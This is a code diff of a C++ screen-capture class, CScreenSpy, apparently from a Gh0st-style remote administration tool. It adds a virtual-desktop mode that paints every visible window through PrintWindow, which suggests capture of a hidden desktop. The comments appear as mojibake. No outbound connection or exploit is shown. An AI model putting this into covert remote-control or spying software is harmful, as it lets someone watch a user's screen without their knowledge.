||||
}
|
||||
|
||||
LPBYTE CScreenSpy::GetFirstScreenData(ULONG* ulFirstScreenLength)
|
||||
{
|
||||
//<2F><><EFBFBD>ڴ<EFBFBD>ԭ<EFBFBD>豸<EFBFBD>и<EFBFBD><D0B8><EFBFBD>λͼ<CEBB><CDBC>Ŀ<EFBFBD><C4BF><EFBFBD>豸
|
||||
::BitBlt(m_hFullMemDC, 0, 0, m_ulFullWidth, m_ulFullHeight, m_hFullDC, 0, 0, SRCCOPY);
|
||||
|
||||
ScanScreen(m_hFullMemDC, m_hDeskTopDC, m_ulFullWidth, m_ulFullHeight);
|
||||
m_RectBuffer[0] = TOKEN_FIRSTSCREEN;
|
||||
memcpy(1 + m_RectBuffer, m_BitmapData_Full, m_BitmapInfor_Full->bmiHeader.biSizeImage);
|
||||
if (m_bAlgorithm == ALGORITHM_GRAY) {
|
||||
@@ -108,6 +105,13 @@ LPBYTE CScreenSpy::GetFirstScreenData(ULONG* ulFirstScreenLength)
|
||||
|
||||
VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight)
|
||||
{
|
||||
if (m_bVirtualPaint){
|
||||
int n = 0;
|
||||
if (n = EnumWindowsTopToDown(NULL, EnumHwndsPrint, (LPARAM)&m_data.SetScreenDC(hdcDest))) {
|
||||
Mprintf("EnumWindowsTopToDown failed: %d!!!\n", n);
|
||||
}
|
||||
return;
|
||||
}
|
||||
AUTO_TICK(70);
|
||||
#if COPY_ALL
|
||||
BitBlt(hdcDest, 0, 0, ulWidth, ulHeight, hdcSour, 0, 0, SRCCOPY);
|
||||
|
||||
@@ -14,24 +14,76 @@
|
||||
#include "ScreenCapture.h"
|
||||
|
||||
|
||||
class EnumHwndsPrintData {
|
||||
public:
|
||||
EnumHwndsPrintData() {
|
||||
memset(this, 0, sizeof(EnumHwndsPrintData));
|
||||
}
|
||||
void Create(HDC desktop, int _x, int _y, int w, int h) {
|
||||
x = _x;
|
||||
y = _y;
|
||||
width = w;
|
||||
height = h;
|
||||
hDcWindow = CreateCompatibleDC(desktop);
|
||||
hBmpWindow = CreateCompatibleBitmap(desktop, w, h);
|
||||
}
|
||||
EnumHwndsPrintData& SetScreenDC(HDC dc) {
|
||||
hDcScreen = dc;
|
||||
return *this;
|
||||
}
|
||||
~EnumHwndsPrintData() {
|
||||
if (hDcWindow) DeleteDC(hDcWindow);
|
||||
hDcWindow = nullptr;
|
||||
if (hBmpWindow)DeleteObject(hBmpWindow);
|
||||
hBmpWindow = nullptr;
|
||||
}
|
||||
HDC GetWindowDC() const {
|
||||
return hDcWindow;
|
||||
}
|
||||
HDC GetScreenDC() const {
|
||||
return hDcScreen;
|
||||
}
|
||||
HBITMAP GetWindowBmp() const {
|
||||
return hBmpWindow;
|
||||
}
|
||||
int X() const {
|
||||
return x;
|
||||
}
|
||||
int Y() const {
|
||||
return y;
|
||||
}
|
||||
int Width()const {
|
||||
return width;
|
||||
}
|
||||
int Height()const {
|
||||
return height;
|
||||
}
|
||||
private:
|
||||
HDC hDcWindow;
|
||||
HDC hDcScreen;
|
||||
HBITMAP hBmpWindow;
|
||||
int x;
|
||||
int y;
|
||||
int width;
|
||||
int height;
|
||||
};
|
||||
|
||||
class CScreenSpy : public ScreenCapture
|
||||
{
|
||||
private:
|
||||
HWND m_hDeskTopWnd; //<2F><EFBFBD>ǰ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD><EFBFBD>ھ<EFBFBD><EFBFBD><EFBFBD>
|
||||
HDC m_hFullDC; //Explorer.exe <20>Ĵ<EFBFBD><C4B4><EFBFBD><EFBFBD>豸DC
|
||||
protected:
|
||||
HDC m_hDeskTopDC; // <20><>Ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
HDC m_hFullMemDC; // <20><>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
HDC m_hDiffMemDC; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
HBITMAP m_BitmapHandle; // <20><>һ֡λͼ
|
||||
HBITMAP m_DiffBitmapHandle; // <20><><EFBFBD><EFBFBD>֡λͼ
|
||||
PVOID m_BitmapData_Full; // <20><>ǰλͼ<CEBB><CDBC><EFBFBD><EFBFBD>
|
||||
PVOID m_DiffBitmapData_Full; // <20><><EFBFBD><EFBFBD>λͼ<CEBB><CDBC><EFBFBD><EFBFBD>
|
||||
|
||||
HDC m_hFullMemDC;
|
||||
HBITMAP m_BitmapHandle;
|
||||
PVOID m_BitmapData_Full;
|
||||
|
||||
HDC m_hDiffMemDC;
|
||||
HBITMAP m_DiffBitmapHandle;
|
||||
PVOID m_DiffBitmapData_Full;
|
||||
|
||||
ULONG m_RectBufferOffset; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
|
||||
BOOL m_bVirtualPaint;// <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
EnumHwndsPrintData m_data;
|
||||
|
||||
public:
|
||||
CScreenSpy(ULONG ulbiBitCount, BYTE algo, int gop = DEFAULT_GOP);
|
||||
CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk = FALSE, int gop = DEFAULT_GOP);
|
||||
|
||||
virtual ~CScreenSpy();
|
||||
|
||||
@@ -65,21 +117,69 @@ public:
|
||||
return m_BitmapInfor_Full->bmiHeader.biSizeImage;
|
||||
}
|
||||
|
||||
FORCEINLINE VOID WriteRectBuffer(LPBYTE szBuffer, ULONG ulLength)
|
||||
static BOOL PaintWindow(HWND hWnd, EnumHwndsPrintData* data)
|
||||
{
|
||||
memcpy(m_RectBuffer + m_RectBufferOffset, szBuffer, ulLength);
|
||||
m_RectBufferOffset += ulLength;
|
||||
if (!IsWindowVisible(hWnd) || IsIconic(hWnd))
|
||||
return TRUE;
|
||||
|
||||
RECT rect;
|
||||
if (!GetWindowRect(hWnd, &rect))
|
||||
return FALSE;
|
||||
|
||||
HDC hDcWindow = data->GetWindowDC();
|
||||
HBITMAP hOldBmp = (HBITMAP)SelectObject(hDcWindow, data->GetWindowBmp());
|
||||
BOOL ret = FALSE;
|
||||
if (PrintWindow(hWnd, hDcWindow, PW_RENDERFULLCONTENT) || SendMessageTimeout(hWnd, WM_PRINT,
|
||||
(WPARAM)hDcWindow, PRF_CLIENT | PRF_NONCLIENT, SMTO_BLOCK, 50, NULL)) {
|
||||
BitBlt(data->GetScreenDC(), rect.left - data->X(), rect.top - data->Y(),
|
||||
rect.right - rect.left, rect.bottom - rect.top, hDcWindow, 0, 0, SRCCOPY);
|
||||
|
||||
ret = TRUE;
|
||||
}
|
||||
SelectObject(hDcWindow, hOldBmp);
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
static int EnumWindowsTopToDown(HWND owner, WNDENUMPROC proc, LPARAM param)
|
||||
{
|
||||
HWND currentWindow = GetTopWindow(owner);
|
||||
if (currentWindow == NULL)
|
||||
return -1;
|
||||
if ((currentWindow = GetWindow(currentWindow, GW_HWNDLAST)) == NULL)
|
||||
return -2;
|
||||
while (proc(currentWindow, param) && (currentWindow = GetWindow(currentWindow, GW_HWNDPREV)) != NULL);
|
||||
return 0;
|
||||
}
|
||||
|
||||
static BOOL CALLBACK EnumHwndsPrint(HWND hWnd, LPARAM lParam)
|
||||
{
|
||||
AUTO_TICK_C(50);
|
||||
if (FALSE == PaintWindow(hWnd, (EnumHwndsPrintData*)lParam)) {
|
||||
char text[_MAX_PATH] = {};
|
||||
GetWindowText(hWnd, text, sizeof(text));
|
||||
Mprintf("PaintWindow %s[%p] failed!!!\n", text, hWnd);
|
||||
}
|
||||
|
||||
static OSVERSIONINFOA versionInfo = { sizeof(OSVERSIONINFOA) };
|
||||
static BOOL result = GetVersionExA(&versionInfo);
|
||||
if (versionInfo.dwMajorVersion < 6) {
|
||||
DWORD style = GetWindowLongA(hWnd, GWL_EXSTYLE);
|
||||
SetWindowLongA(hWnd, GWL_EXSTYLE, style | WS_EX_COMPOSITED);
|
||||
EnumWindowsTopToDown(hWnd, EnumHwndsPrint, lParam);
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
virtual LPBYTE GetFirstScreenData(ULONG* ulFirstScreenLength);
|
||||
|
||||
virtual LPBYTE ScanNextScreen() {
|
||||
ScanScreen(m_hDiffMemDC, m_hFullDC, m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight);
|
||||
ScanScreen(m_hDiffMemDC, m_hDeskTopDC, m_ulFullWidth, m_ulFullHeight);
|
||||
return (LPBYTE)m_DiffBitmapData_Full;
|
||||
}
|
||||
|
||||
VOID ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight);
|
||||
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_SCREENSPY_H__5F74528D_9ABD_404E_84D2_06C96A0615F4__INCLUDED_)
|
||||
|
||||
Reference in New Issue
Block a user